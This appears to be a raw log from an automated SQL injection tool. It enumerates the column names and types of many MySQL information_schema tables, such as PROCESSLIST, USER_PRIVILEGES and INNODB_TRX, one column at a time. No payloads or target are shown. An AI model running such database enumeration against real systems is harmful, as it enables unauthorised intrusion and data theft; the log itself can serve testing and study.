[03:14:34] [INFO] retrieved: 'SUBPARTITION_NAME','varchar(64)'
[03:14:35] [INFO] retrieved: 'PARTITION_ORDINAL_POSITION','bigint(21) unsigned'
[03:14:35] [INFO] retrieved: 'SUBPARTITION_ORDINAL_POSITION','bigint(21) unsigned'
[03:14:35] [INFO] retrieved: 'PARTITION_METHOD','varchar(18)'
[03:14:36] [INFO] retrieved: 'SUBPARTITION_METHOD','varchar(12)'
[03:14:36] [INFO] retrieved: 'PARTITION_EXPRESSION','longtext'
[03:14:37] [INFO] retrieved: 'SUBPARTITION_EXPRESSION','longtext'
[03:14:37] [INFO] retrieved: 'PARTITION_DESCRIPTION','longtext'
[03:14:37] [INFO] retrieved: 'TABLE_ROWS','bigint(21) unsigned'
[03:14:38] [INFO] retrieved: 'AVG_ROW_LENGTH','bigint(21) unsigned'
[03:14:38] [INFO] retrieved: 'DATA_LENGTH','bigint(21) unsigned'
[03:14:39] [INFO] retrieved: 'MAX_DATA_LENGTH','bigint(21) unsigned'
[03:14:39] [INFO] retrieved: 'INDEX_LENGTH','bigint(21) unsigned'
[03:14:39] [INFO] retrieved: 'DATA_FREE','bigint(21) unsigned'
[03:14:40] [INFO] retrieved: 'CREATE_TIME','datetime'
[03:14:40] [INFO] retrieved: 'UPDATE_TIME','datetime'
[03:14:41] [INFO] retrieved: 'CHECK_TIME','datetime'
[03:14:41] [INFO] retrieved: 'CHECKSUM','bigint(21) unsigned'
[03:14:41] [INFO] retrieved: 'PARTITION_COMMENT','varchar(80)'
[03:14:42] [INFO] retrieved: 'NODEGROUP','varchar(12)'
[03:14:42] [INFO] retrieved: 'TABLESPACE_NAME','varchar(64)'
[03:14:42] [INFO] fetching columns for table 'PROCESSLIST' in database 'information_schema'
[03:14:43] [INFO] retrieved: 'ID','bigint(21) unsigned'
[03:14:44] [INFO] retrieved: 'USER','varchar(32)'
[03:14:44] [INFO] retrieved: 'HOST','varchar(64)'
[03:14:45] [INFO] retrieved: 'DB','varchar(64)'
[03:14:45] [INFO] retrieved: 'COMMAND','varchar(16)'
[03:14:45] [INFO] retrieved: 'TIME','int(7)'
[03:14:46] [INFO] retrieved: 'STATE','varchar(64)'
[03:14:46] [INFO] retrieved: 'INFO','longtext'
[03:14:46] [INFO] fetching columns for table 'INNODB_FT_CONFIG' in database 'information_schema'
[03:14:47] [INFO] retrieved: 'KEY','varchar(193)'
[03:14:48] [INFO] retrieved: 'VALUE','varchar(193)'
[03:14:48] [INFO] fetching columns for table 'EVENTS' in database 'information_schema'
[03:14:49] [INFO] retrieved: 'EVENT_CATALOG','varchar(64)'
[03:14:49] [INFO] retrieved: 'EVENT_SCHEMA','varchar(64)'
[03:14:50] [INFO] retrieved: 'EVENT_NAME','varchar(64)'
[03:14:50] [INFO] retrieved: 'DEFINER','varchar(93)'
[03:14:51] [INFO] retrieved: 'TIME_ZONE','varchar(64)'
[03:14:51] [INFO] retrieved: 'EVENT_BODY','varchar(8)'
[03:14:51] [INFO] retrieved: 'EVENT_DEFINITION','longtext'
[03:14:52] [INFO] retrieved: 'EVENT_TYPE','varchar(9)'
[03:14:52] [INFO] retrieved: 'EXECUTE_AT','datetime'
[03:14:53] [INFO] retrieved: 'INTERVAL_VALUE','varchar(256)'
[03:14:53] [INFO] retrieved: 'INTERVAL_FIELD','varchar(18)'
[03:14:53] [INFO] retrieved: 'SQL_MODE','varchar(8192)'
[03:14:54] [INFO] retrieved: 'STARTS','datetime'
[03:14:54] [INFO] retrieved: 'ENDS','datetime'
[03:14:55] [INFO] retrieved: 'STATUS','varchar(18)'
[03:14:55] [INFO] retrieved: 'ON_COMPLETION','varchar(12)'
[03:14:55] [INFO] retrieved: 'CREATED','datetime'
[03:14:56] [INFO] retrieved: 'LAST_ALTERED','datetime'
[03:14:56] [INFO] retrieved: 'LAST_EXECUTED','datetime'
[03:14:57] [INFO] retrieved: 'EVENT_COMMENT','varchar(64)'
[03:14:57] [INFO] retrieved: 'ORIGINATOR','bigint(10)'
[03:14:57] [INFO] retrieved: 'CHARACTER_SET_CLIENT','varchar(32)'
[03:14:58] [INFO] retrieved: 'COLLATION_CONNECTION','varchar(32)'
[03:14:58] [INFO] retrieved: 'DATABASE_COLLATION','varchar(32)'
[03:14:58] [INFO] fetching columns for table 'COLUMNS' in database 'information_schema'
[03:15:00] [INFO] retrieved: 'TABLE_CATALOG','varchar(512)'
[03:15:00] [INFO] retrieved: 'TABLE_SCHEMA','varchar(64)'
[03:15:00] [INFO] retrieved: 'TABLE_NAME','varchar(64)'
[03:15:01] [INFO] retrieved: 'COLUMN_NAME','varchar(64)'
[03:15:01] [INFO] retrieved: 'ORDINAL_POSITION','bigint(21) unsigned'
[03:15:02] [INFO] retrieved: 'COLUMN_DEFAULT','longtext'
[03:15:02] [INFO] retrieved: 'IS_NULLABLE','varchar(3)'
[03:15:02] [INFO] retrieved: 'DATA_TYPE','varchar(64)'
[03:15:03] [INFO] retrieved: 'CHARACTER_MAXIMUM_LENGTH','bigint(21) unsigned'
[03:15:03] [INFO] retrieved: 'CHARACTER_OCTET_LENGTH','bigint(21) unsigned'
[03:15:04] [INFO] retrieved: 'NUMERIC_PRECISION','bigint(21) unsigned'
[03:15:04] [INFO] retrieved: 'NUMERIC_SCALE','bigint(21) unsigned'
[03:15:04] [INFO] retrieved: 'DATETIME_PRECISION','bigint(21) unsigned'
[03:15:05] [INFO] retrieved: 'CHARACTER_SET_NAME','varchar(32)'
[03:15:05] [INFO] retrieved: 'COLLATION_NAME','varchar(32)'
[03:15:06] [INFO] retrieved: 'COLUMN_TYPE','longtext'
[03:15:06] [INFO] retrieved: 'COLUMN_KEY','varchar(3)'
[03:15:07] [INFO] retrieved: 'EXTRA','varchar(30)'
[03:15:07] [INFO] retrieved: 'PRIVILEGES','varchar(80)'
[03:15:08] [INFO] retrieved: 'COLUMN_COMMENT','varchar(1024)'
[03:15:08] [INFO] retrieved: 'GENERATION_EXPRESSION','longtext'
[03:15:08] [INFO] fetching columns for table 'INNODB_SYS_FIELDS' in database 'information_schema'
[03:15:09] [INFO] retrieved: 'INDEX_ID','bigint(21) unsigned'
[03:15:10] [INFO] retrieved: 'NAME','varchar(193)'
[03:15:10] [INFO] retrieved: 'POS','int(11) unsigned'
[03:15:10] [INFO] fetching columns for table 'GLOBAL_VARIABLES' in database 'information_schema'
[03:15:11] [INFO] retrieved: 'VARIABLE_NAME','varchar(64)'
[03:15:12] [INFO] retrieved: 'VARIABLE_VALUE','varchar(1024)'
[03:15:12] [INFO] fetching columns for table 'INNODB_CMP_PER_INDEX_RESET' in database 'information_schema'
[03:15:13] [INFO] retrieved: 'database_name','varchar(192)'
[03:15:13] [INFO] retrieved: 'table_name','varchar(192)'
[03:15:14] [INFO] retrieved: 'index_name','varchar(192)'
[03:15:14] [INFO] retrieved: 'compress_ops','int(11)'
[03:15:14] [INFO] retrieved: 'compress_ops_ok','int(11)'
[03:15:15] [INFO] retrieved: 'compress_time','int(11)'
[03:15:15] [INFO] retrieved: 'uncompress_ops','int(11)'
[03:15:16] [INFO] retrieved: 'uncompress_time','int(11)'
[03:15:16] [INFO] fetching columns for table 'COLLATIONS' in database 'information_schema'
[03:15:17] [INFO] retrieved: 'COLLATION_NAME','varchar(32)'
[03:15:17] [INFO] retrieved: 'CHARACTER_SET_NAME','varchar(32)'
[03:15:18] [INFO] retrieved: 'ID','bigint(11)'
[03:15:18] [INFO] retrieved: 'IS_DEFAULT','varchar(3)'
[03:15:18] [INFO] retrieved: 'IS_COMPILED','varchar(3)'
[03:15:19] [INFO] retrieved: 'SORTLEN','bigint(3)'
[03:15:19] [INFO] fetching columns for table 'PROFILING' in database 'information_schema'
[03:15:20] [INFO] retrieved: 'QUERY_ID','int(20)'
[03:15:20] [INFO] retrieved: 'SEQ','int(20)'
[03:15:21] [INFO] retrieved: 'STATE','varchar(30)'
[03:15:21] [INFO] retrieved: 'DURATION','decimal(9,6)'
[03:15:22] [INFO] retrieved: 'CPU_USER','decimal(9,6)'
[03:15:22] [INFO] retrieved: 'CPU_SYSTEM','decimal(9,6)'
[03:15:22] [INFO] retrieved: 'CONTEXT_VOLUNTARY','int(20)'
[03:15:23] [INFO] retrieved: 'CONTEXT_INVOLUNTARY','int(20)'
[03:15:23] [INFO] retrieved: 'BLOCK_OPS_IN','int(20)'
[03:15:24] [INFO] retrieved: 'BLOCK_OPS_OUT','int(20)'
[03:15:24] [INFO] retrieved: 'MESSAGES_SENT','int(20)'
[03:15:24] [INFO] retrieved: 'MESSAGES_RECEIVED','int(20)'
[03:15:25] [INFO] retrieved: 'PAGE_FAULTS_MAJOR','int(20)'
[03:15:25] [INFO] retrieved: 'PAGE_FAULTS_MINOR','int(20)'
[03:15:26] [INFO] retrieved: 'SWAPS','int(20)'
[03:15:26] [INFO] retrieved: 'SOURCE_FUNCTION','varchar(30)'
[03:15:26] [INFO] retrieved: 'SOURCE_FILE','varchar(20)'
[03:15:27] [INFO] retrieved: 'SOURCE_LINE','int(20)'
[03:15:27] [INFO] fetching columns for table 'VIEWS' in database 'information_schema'
[03:15:28] [INFO] retrieved: 'TABLE_CATALOG','varchar(512)'
[03:15:28] [INFO] retrieved: 'TABLE_SCHEMA','varchar(64)'
[03:15:29] [INFO] retrieved: 'TABLE_NAME','varchar(64)'
[03:15:29] [INFO] retrieved: 'VIEW_DEFINITION','longtext'
[03:15:30] [INFO] retrieved: 'CHECK_OPTION','varchar(8)'
[03:15:30] [INFO] retrieved: 'IS_UPDATABLE','varchar(3)'
[03:15:30] [INFO] retrieved: 'DEFINER','varchar(93)'
[03:15:31] [INFO] retrieved: 'SECURITY_TYPE','varchar(7)'
[03:15:31] [INFO] retrieved: 'CHARACTER_SET_CLIENT','varchar(32)'
[03:15:32] [INFO] retrieved: 'COLLATION_CONNECTION','varchar(32)'
[03:15:32] [INFO] fetching columns for table 'INNODB_SYS_COLUMNS' in database 'information_schema'
[03:15:33] [INFO] retrieved: 'TABLE_ID','bigint(21) unsigned'
[03:15:33] [INFO] retrieved: 'NAME','varchar(193)'
[03:15:34] [INFO] retrieved: 'POS','bigint(21) unsigned'
[03:15:34] [INFO] retrieved: 'MTYPE','int(11)'
[03:15:34] [INFO] retrieved: 'PRTYPE','int(11)'
[03:15:35] [INFO] retrieved: 'LEN','int(11)'
[03:15:35] [INFO] fetching columns for table 'INNODB_CMPMEM' in database 'information_schema'
[03:15:36] [INFO] retrieved: 'page_size','int(5)'
[03:15:36] [INFO] retrieved: 'buffer_pool_instance','int(11)'
[03:15:37] [INFO] retrieved: 'pages_used','int(11)'
[03:15:37] [INFO] retrieved: 'pages_free','int(11)'
[03:15:38] [INFO] retrieved: 'relocation_ops','bigint(21)'
[03:15:38] [INFO] retrieved: 'relocation_time','int(11)'
[03:15:38] [INFO] fetching columns for table 'INNODB_METRICS' in database 'information_schema'
[03:15:39] [INFO] retrieved: 'NAME','varchar(193)'
[03:15:40] [INFO] retrieved: 'SUBSYSTEM','varchar(193)'
[03:15:40] [INFO] retrieved: 'COUNT','bigint(21)'
[03:15:41] [INFO] retrieved: 'MAX_COUNT','bigint(21)'
[03:15:41] [INFO] retrieved: 'MIN_COUNT','bigint(21)'
[03:15:41] [INFO] retrieved: 'AVG_COUNT','double'
[03:15:42] [INFO] retrieved: 'COUNT_RESET','bigint(21)'
[03:15:42] [INFO] retrieved: 'MAX_COUNT_RESET','bigint(21)'
[03:15:43] [INFO] retrieved: 'MIN_COUNT_RESET','bigint(21)'
[03:15:43] [INFO] retrieved: 'AVG_COUNT_RESET','double'
[03:15:43] [INFO] retrieved: 'TIME_ENABLED','datetime'
[03:15:44] [INFO] retrieved: 'TIME_DISABLED','datetime'
[03:15:44] [INFO] retrieved: 'TIME_ELAPSED','bigint(21)'
[03:15:45] [INFO] retrieved: 'TIME_RESET','datetime'
[03:15:45] [INFO] retrieved: 'STATUS','varchar(193)'
[03:15:45] [INFO] retrieved: 'TYPE','varchar(193)'
[03:15:46] [INFO] retrieved: 'COMMENT','varchar(193)'
[03:15:46] [INFO] fetching columns for table 'FILES' in database 'information_schema'
[03:15:47] [INFO] retrieved: 'FILE_ID','bigint(4)'
[03:15:47] [INFO] retrieved: 'FILE_NAME','varchar(4000)'
[03:15:48] [INFO] retrieved: 'FILE_TYPE','varchar(20)'
[03:15:48] [INFO] retrieved: 'TABLESPACE_NAME','varchar(64)'
[03:15:49] [INFO] retrieved: 'TABLE_CATALOG','varchar(64)'
[03:15:49] [INFO] retrieved: 'TABLE_SCHEMA','varchar(64)'
[03:15:50] [INFO] retrieved: 'TABLE_NAME','varchar(64)'
[03:15:50] [INFO] retrieved: 'LOGFILE_GROUP_NAME','varchar(64)'
[03:15:50] [INFO] retrieved: 'LOGFILE_GROUP_NUMBER','bigint(4)'
[03:15:51] [INFO] retrieved: 'ENGINE','varchar(64)'
[03:15:51] [INFO] retrieved: 'FULLTEXT_KEYS','varchar(64)'
[03:15:52] [INFO] retrieved: 'DELETED_ROWS','bigint(4)'
[03:15:52] [INFO] retrieved: 'UPDATE_COUNT','bigint(4)'
[03:15:52] [INFO] retrieved: 'FREE_EXTENTS','bigint(4)'
[03:15:53] [INFO] retrieved: 'TOTAL_EXTENTS','bigint(4)'
[03:15:53] [INFO] retrieved: 'EXTENT_SIZE','bigint(4)'
[03:15:54] [INFO] retrieved: 'INITIAL_SIZE','bigint(21) unsigned'
[03:15:54] [INFO] retrieved: 'MAXIMUM_SIZE','bigint(21) unsigned'
[03:15:54] [INFO] retrieved: 'AUTOEXTEND_SIZE','bigint(21) unsigned'
[03:15:55] [INFO] retrieved: 'CREATION_TIME','datetime'
[03:15:55] [INFO] retrieved: 'LAST_UPDATE_TIME','datetime'
[03:15:56] [INFO] retrieved: 'LAST_ACCESS_TIME','datetime'
[03:15:56] [INFO] retrieved: 'RECOVER_TIME','bigint(4)'
[03:15:56] [INFO] retrieved: 'TRANSACTION_COUNTER','bigint(4)'
[03:15:57] [INFO] retrieved: 'VERSION','bigint(21) unsigned'
[03:15:57] [INFO] retrieved: 'ROW_FORMAT','varchar(10)'
[03:15:58] [INFO] retrieved: 'TABLE_ROWS','bigint(21) unsigned'
[03:15:58] [INFO] retrieved: 'AVG_ROW_LENGTH','bigint(21) unsigned'
[03:15:58] [INFO] retrieved: 'DATA_LENGTH','bigint(21) unsigned'
[03:15:59] [INFO] retrieved: 'MAX_DATA_LENGTH','bigint(21) unsigned'
[03:15:59] [INFO] retrieved: 'INDEX_LENGTH','bigint(21) unsigned'
[03:16:00] [INFO] retrieved: 'DATA_FREE','bigint(21) unsigned'
[03:16:00] [INFO] retrieved: 'CREATE_TIME','datetime'
[03:16:00] [INFO] retrieved: 'UPDATE_TIME','datetime'
[03:16:01] [INFO] retrieved: 'CHECK_TIME','datetime'
[03:16:01] [INFO] retrieved: 'CHECKSUM','bigint(21) unsigned'
[03:16:02] [INFO] retrieved: 'STATUS','varchar(20)'
[03:16:02] [INFO] retrieved: 'EXTRA','varchar(255)'
[03:16:02] [INFO] fetching columns for table 'INNODB_BUFFER_POOL_STATS' in database 'information_schema'
[03:16:03] [INFO] retrieved: 'POOL_ID','bigint(21) unsigned'
[03:16:04] [INFO] retrieved: 'POOL_SIZE','bigint(21) unsigned'
[03:16:04] [INFO] retrieved: 'FREE_BUFFERS','bigint(21) unsigned'
[03:16:04] [INFO] retrieved: 'DATABASE_PAGES','bigint(21) unsigned'
[03:16:05] [INFO] retrieved: 'OLD_DATABASE_PAGES','bigint(21) unsigned'
[03:16:05] [INFO] retrieved: 'MODIFIED_DATABASE_PAGES','bigint(21) unsigned'
[03:16:06] [INFO] retrieved: 'PENDING_DECOMPRESS','bigint(21) unsigned'
[03:16:06] [INFO] retrieved: 'PENDING_READS','bigint(21) unsigned'
[03:16:06] [INFO] retrieved: 'PENDING_FLUSH_LRU','bigint(21) unsigned'
[03:16:07] [INFO] retrieved: 'PENDING_FLUSH_LIST','bigint(21) unsigned'
[03:16:07] [INFO] retrieved: 'PAGES_MADE_YOUNG','bigint(21) unsigned'
[03:16:08] [INFO] retrieved: 'PAGES_NOT_MADE_YOUNG','bigint(21) unsigned'
[03:16:08] [INFO] retrieved: 'PAGES_MADE_YOUNG_RATE','double'
[03:16:08] [INFO] retrieved: 'PAGES_MADE_NOT_YOUNG_RATE','double'
[03:16:09] [INFO] retrieved: 'NUMBER_PAGES_READ','bigint(21) unsigned'
[03:16:09] [INFO] retrieved: 'NUMBER_PAGES_CREATED','bigint(21) unsigned'
[03:16:10] [INFO] retrieved: 'NUMBER_PAGES_WRITTEN','bigint(21) unsigned'
[03:16:10] [INFO] retrieved: 'PAGES_READ_RATE','double'
[03:16:10] [INFO] retrieved: 'PAGES_CREATE_RATE','double'
[03:16:11] [INFO] retrieved: 'PAGES_WRITTEN_RATE','double'
[03:16:11] [INFO] retrieved: 'NUMBER_PAGES_GET','bigint(21) unsigned'
[03:16:12] [INFO] retrieved: 'HIT_RATE','bigint(21) unsigned'
[03:16:12] [INFO] retrieved: 'YOUNG_MAKE_PER_THOUSAND_GETS','bigint(21) unsigned'
[03:16:12] [INFO] retrieved: 'NOT_YOUNG_MAKE_PER_THOUSAND_GETS','bigint(21) unsigned'
[03:16:13] [INFO] retrieved: 'NUMBER_PAGES_READ_AHEAD','bigint(21) unsigned'
[03:16:13] [INFO] retrieved: 'NUMBER_READ_AHEAD_EVICTED','bigint(21) unsigned'
[03:16:14] [INFO] retrieved: 'READ_AHEAD_RATE','double'
[03:16:14] [INFO] retrieved: 'READ_AHEAD_EVICTED_RATE','double'
[03:16:14] [INFO] retrieved: 'LRU_IO_TOTAL','bigint(21) unsigned'
[03:16:15] [INFO] retrieved: 'LRU_IO_CURRENT','bigint(21) unsigned'
[03:16:15] [INFO] retrieved: 'UNCOMPRESS_TOTAL','bigint(21) unsigned'
[03:16:16] [INFO] retrieved: 'UNCOMPRESS_CURRENT','bigint(21) unsigned'
[03:16:16] [INFO] fetching columns for table 'INNODB_LOCK_WAITS' in database 'information_schema'
[03:16:17] [INFO] retrieved: 'requesting_trx_id','varchar(18)'
[03:16:17] [INFO] retrieved: 'requested_lock_id','varchar(81)'
[03:16:18] [INFO] retrieved: 'blocking_trx_id','varchar(18)'
[03:16:18] [INFO] retrieved: 'blocking_lock_id','varchar(81)'
[03:16:18] [INFO] fetching columns for table 'SCHEMATA' in database 'information_schema'
[03:16:19] [INFO] retrieved: 'CATALOG_NAME','varchar(512)'
[03:16:20] [INFO] retrieved: 'SCHEMA_NAME','varchar(64)'
[03:16:20] [INFO] retrieved: 'DEFAULT_CHARACTER_SET_NAME','varchar(32)'
[03:16:21] [INFO] retrieved: 'DEFAULT_COLLATION_NAME','varchar(32)'
[03:16:21] [INFO] retrieved: 'SQL_PATH','varchar(512)'
[03:16:21] [INFO] fetching columns for table 'SESSION_VARIABLES' in database 'information_schema'
[03:16:22] [INFO] retrieved: 'VARIABLE_NAME','varchar(64)'
[03:16:23] [INFO] retrieved: 'VARIABLE_VALUE','varchar(1024)'
[03:16:23] [INFO] fetching columns for table 'INNODB_FT_INDEX_CACHE' in database 'information_schema'
[03:16:24] [INFO] retrieved: 'WORD','varchar(337)'
[03:16:24] [INFO] retrieved: 'FIRST_DOC_ID','bigint(21) unsigned'
[03:16:25] [INFO] retrieved: 'LAST_DOC_ID','bigint(21) unsigned'
[03:16:25] [INFO] retrieved: 'DOC_COUNT','bigint(21) unsigned'
[03:16:25] [INFO] retrieved: 'DOC_ID','bigint(21) unsigned'
[03:16:26] [INFO] retrieved: 'POSITION','bigint(21) unsigned'
[03:16:26] [INFO] fetching columns for table 'INNODB_TRX' in database 'information_schema'
[03:16:27] [INFO] retrieved: 'trx_id','varchar(18)'
[03:16:27] [INFO] retrieved: 'trx_state','varchar(13)'
[03:16:28] [INFO] retrieved: 'trx_started','datetime'
[03:16:28] [INFO] retrieved: 'trx_requested_lock_id','varchar(81)'
[03:16:29] [INFO] retrieved: 'trx_wait_started','datetime'
[03:16:29] [INFO] retrieved: 'trx_weight','bigint(21) unsigned'
[03:16:29] [INFO] retrieved: 'trx_mysql_thread_id','bigint(21) unsigned'
[03:16:30] [INFO] retrieved: 'trx_query','varchar(1024)'
[03:16:30] [INFO] retrieved: 'trx_operation_state','varchar(64)'
[03:16:31] [INFO] retrieved: 'trx_tables_in_use','bigint(21) unsigned'
[03:16:31] [INFO] retrieved: 'trx_tables_locked','bigint(21) unsigned'
[03:16:31] [INFO] retrieved: 'trx_lock_structs','bigint(21) unsigned'
[03:16:32] [INFO] retrieved: 'trx_lock_memory_bytes','bigint(21) unsigned'
[03:16:32] [INFO] retrieved: 'trx_rows_locked','bigint(21) unsigned'
[03:16:33] [INFO] retrieved: 'trx_rows_modified','bigint(21) unsigned'
[03:16:33] [INFO] retrieved: 'trx_concurrency_tickets','bigint(21) unsigned'
[03:16:33] [INFO] retrieved: 'trx_isolation_level','varchar(16)'
[03:16:34] [INFO] retrieved: 'trx_unique_checks','int(1)'
[03:16:34] [INFO] retrieved: 'trx_foreign_key_checks','int(1)'
[03:16:35] [INFO] retrieved: 'trx_last_foreign_key_error','varchar(256)'
[03:16:35] [INFO] retrieved: 'trx_adaptive_hash_latched','int(1)'
[03:16:35] [INFO] retrieved: 'trx_adaptive_hash_timeout','bigint(21) unsigned'
[03:16:36] [INFO] retrieved: 'trx_is_read_only','int(1)'
[03:16:36] [INFO] retrieved: 'trx_autocommit_non_locking','int(1)'
[03:16:36] [INFO] fetching columns for table 'PLUGINS' in database 'information_schema'
[03:16:37] [INFO] retrieved: 'PLUGIN_NAME','varchar(64)'
[03:16:38] [INFO] retrieved: 'PLUGIN_VERSION','varchar(20)'
[03:16:38] [INFO] retrieved: 'PLUGIN_STATUS','varchar(10)'
[03:16:39] [INFO] retrieved: 'PLUGIN_TYPE','varchar(80)'
[03:16:39] [INFO] retrieved: 'PLUGIN_TYPE_VERSION','varchar(20)'
[03:16:39] [INFO] retrieved: 'PLUGIN_LIBRARY','varchar(64)'
[03:16:40] [INFO] retrieved: 'PLUGIN_LIBRARY_VERSION','varchar(20)'
[03:16:40] [INFO] retrieved: 'PLUGIN_AUTHOR','varchar(64)'
[03:16:41] [INFO] retrieved: 'PLUGIN_DESCRIPTION','longtext'
[03:16:41] [INFO] retrieved: 'PLUGIN_LICENSE','varchar(80)'
[03:16:41] [INFO] retrieved: 'LOAD_OPTION','varchar(64)'
[03:16:41] [INFO] fetching columns for table 'SESSION_STATUS' in database 'information_schema'
[03:16:43] [INFO] retrieved: 'VARIABLE_NAME','varchar(64)'
[03:16:43] [INFO] retrieved: 'VARIABLE_VALUE','varchar(1024)'
[03:16:43] [INFO] fetching columns for table 'USER_PRIVILEGES' in database 'information_schema'
[03:16:44] [INFO] retrieved: 'GRANTEE','varchar(81)'
[03:16:45] [INFO] retrieved: 'TABLE_CATALOG','varchar(512)'
[03:16:45] [INFO] retrieved: 'PRIVILEGE_TYPE','varchar(64)'
[03:16:45] [INFO] retrieved: 'IS_GRANTABLE','varchar(3)'
[03:16:45] [INFO] fetching columns for table 'INNODB_SYS_DATAFILES' in database 'information_schema'
[03:16:47] [INFO] retrieved: 'SPACE','int(11) unsigned'
[03:16:47] [INFO] retrieved: 'PATH','varchar(4000)'
[03:16:47] [INFO] fetching columns for table 'INNODB_SYS_INDEXES' in database 'information_schema'
[03:16:48] [INFO] retrieved: 'INDEX_ID','bigint(21) unsigned'
[03:16:49] [INFO] retrieved: 'NAME','varchar(193)'
[03:16:49] [INFO] retrieved: 'TABLE_ID','bigint(21) unsigned'
[03:16:50] [INFO] retrieved: 'TYPE','int(11)'
[03:16:50] [INFO] retrieved: 'N_FIELDS','int(11)'
[03:16:50] [INFO] retrieved: 'PAGE_NO','int(11)'
[03:16:51] [INFO] retrieved: 'SPACE','int(11)'
[03:16:51] [INFO] retrieved: 'MERGE_THRESHOLD','int(11)'
[03:16:51] [INFO] fetching columns for table 'KEY_COLUMN_USAGE' in database 'information_schema'
[03:16:52] [INFO] retrieved: 'CONSTRAINT_CATALOG','varchar(512)'
[03:16:53] [INFO] retrieved: 'CONSTRAINT_SCHEMA','varchar(64)'
[03:16:53] [INFO] retrieved: 'CONSTRAINT_NAME','varchar(64)'
[03:16:54] [INFO] retrieved: 'TABLE_CATALOG','varchar(512)'
[03:16:54] [INFO] retrieved: 'TABLE_SCHEMA','varchar(64)'
[03:16:54] [INFO] retrieved: 'TABLE_NAME','varchar(64)'
[03:16:55] [INFO] retrieved: 'COLUMN_NAME','varchar(64)'
[03:16:55] [INFO] retrieved: 'ORDINAL_POSITION','bigint(10)'
[03:16:56] [INFO] retrieved: 'POSITION_IN_UNIQUE_CONSTRAINT','bigint(10)'
[03:16:56] [INFO] retrieved: 'REFERENCED_TABLE_SCHEMA','varchar(64)'
[03:16:56] [INFO] retrieved: 'REFERENCED_TABLE_NAME','varchar(64)'
[03:16:57] [INFO] retrieved: 'REFERENCED_COLUMN_NAME','varchar(64)'
[03:16:57] [INFO] fetching columns for table 'INNODB_CMP_PER_INDEX' in database 'information_schema'
[03:16:58] [INFO] retrieved: 'database_name','varchar(192)'
[03:16:58] [INFO] retrieved: 'table_name','varchar(192)'
[03:16:59] [INFO] retrieved: 'index_name','varchar(192)'
[03:16:59] [INFO] retrieved: 'compress_ops','int(11)'
[03:17:00] [INFO] retrieved: 'compress_ops_ok','int(11)'
[03:17:00] [INFO] retrieved: 'compress_time','int(11)'
[03:17:00] [INFO] retrieved: 'uncompress_ops','int(11)'
[03:17:01] [INFO] retrieved: 'uncompress_time','int(11)'
[03:17:01] [INFO] fetching columns for table 'STATISTICS' in database 'information_schema'
[03:17:02] [INFO] retrieved: 'TABLE_CATALOG','varchar(512)'
[03:17:02] [INFO] retrieved: 'TABLE_SCHEMA','varchar(64)'
[03:17:03] [INFO] retrieved: 'TABLE_NAME','varchar(64)'
[03:17:03] [INFO] retrieved: 'NON_UNIQUE','bigint(1)'
[03:17:04] [INFO] retrieved: 'INDEX_SCHEMA','varchar(64)'
[03:17:04] [INFO] retrieved: 'INDEX_NAME','varchar(64)'
[03:17:04] [INFO] retrieved: 'SEQ_IN_INDEX','bigint(2)'
[03:17:05] [INFO] retrieved: 'COLUMN_NAME','varchar(64)'
[03:17:05] [INFO] retrieved: 'COLLATION','varchar(1)'
[03:17:06] [INFO] retrieved: 'CARDINALITY','bigint(21)'
[03:17:06] [INFO] retrieved: 'SUB_PART','bigint(3)'
[03:17:06] [INFO] retrieved: 'PACKED','varchar(10)'
[03:17:07] [INFO] retrieved: 'NULLABLE','varchar(3)'
[03:17:07] [INFO] retrieved: 'INDEX_TYPE','varchar(16)'
[03:17:08] [INFO] retrieved: 'COMMENT','varchar(16)'
[03:17:08] [INFO] retrieved: 'INDEX_COMMENT','varchar(1024)'
[03:17:08] [INFO] fetching columns for table 'INNODB_LOCKS' in database 'information_schema'
[03:17:09] [INFO] retrieved: 'lock_id','varchar(81)'
[03:17:10] [INFO] retrieved: 'lock_trx_id','varchar(18)'
[03:17:10] [INFO] retrieved: 'lock_mode','varchar(32)'
[03:17:10] [INFO] retrieved: 'lock_type','varchar(32)'
[03:17:11] [INFO] retrieved: 'lock_table','varchar(1024)'
[03:17:11] [INFO] retrieved: 'lock_index','varchar(1024)'
[03:17:12] [INFO] retrieved: 'lock_space','bigint(21) unsigned'
[03:17:12] [INFO] retrieved: 'lock_page','bigint(21) unsigned'
[03:17:12] [INFO] retrieved: 'lock_rec','bigint(21) unsigned'
[03:17:13] [INFO] retrieved: 'lock_data','varchar(8192)'
[03:17:13] [INFO] fetching columns for table 'INNODB_TEMP_TABLE_INFO' in database 'information_schema'
[03:17:14] [INFO] retrieved: 'TABLE_ID','bigint(21) unsigned'
[03:17:14] [INFO] retrieved: 'NAME','varchar(202)'
[03:17:15] [INFO] retrieved: 'N_COLS','int(11) unsigned'
[03:17:15] [INFO] retrieved: 'SPACE','int(11) unsigned'
[03:17:16] [INFO] retrieved: 'PER_TABLE_TABLESPACE','varchar(64)'
[03:17:16] [INFO] retrieved: 'IS_COMPRESSED','varchar(64)'
[03:17:16] [INFO] fetching columns for table 'INNODB_SYS_FOREIGN' in database 'information_schema'
[03:17:17] [INFO] retrieved: 'ID','varchar(193)'
[03:17:18] [INFO] retrieved: 'FOR_NAME','varchar(193)'
[03:17:18] [INFO] retrieved: 'REF_NAME','varchar(193)'
[03:17:18] [INFO] retrieved: 'N_COLS','int(11) unsigned'
[03:17:19] [INFO] retrieved: 'TYPE','int(11) unsigned'
[03:17:19] [INFO] fetching columns for table 'PARAMETERS' in database 'information_schema'
[03:17:20] [INFO] retrieved: 'SPECIFIC_CATALOG','varchar(512)'
[03:17:20] [INFO] retrieved: 'SPECIFIC_SCHEMA','varchar(64)'
[03:17:21] [INFO] retrieved: 'SPECIFIC_NAME','varchar(64)'
[03:17:21] [INFO] retrieved: 'ORDINAL_POSITION','int(21)'
[03:17:22] [INFO] retrieved: 'PARAMETER_MODE','varchar(5)'
[03:17:22] [INFO] retrieved: 'PARAMETER_NAME','varchar(64)'
[03:17:22] [INFO] retrieved: 'DATA_TYPE','varchar(64)'
[03:17:23] [INFO] retrieved: 'CHARACTER_MAXIMUM_LENGTH','int(21)'
[03:17:23] [INFO] retrieved: 'CHARACTER_OCTET_LENGTH','int(21)'
[03:17:24] [INFO] retrieved: 'NUMERIC_PRECISION','bigint(21) unsigned'
[03:17:24] [INFO] retrieved: 'NUMERIC_SCALE','int(21)'
[03:17:24] [INFO] retrieved: 'DATETIME_PRECISION','bigint(21) unsigned'
[03:17:25] [INFO] retrieved: 'CHARACTER_SET_NAME','varchar(64)'
[03:17:25] [INFO] retrieved: 'COLLATION_NAME','varchar(64)'
[03:17:26] [INFO] retrieved: 'DTD_IDENTIFIER','longtext'
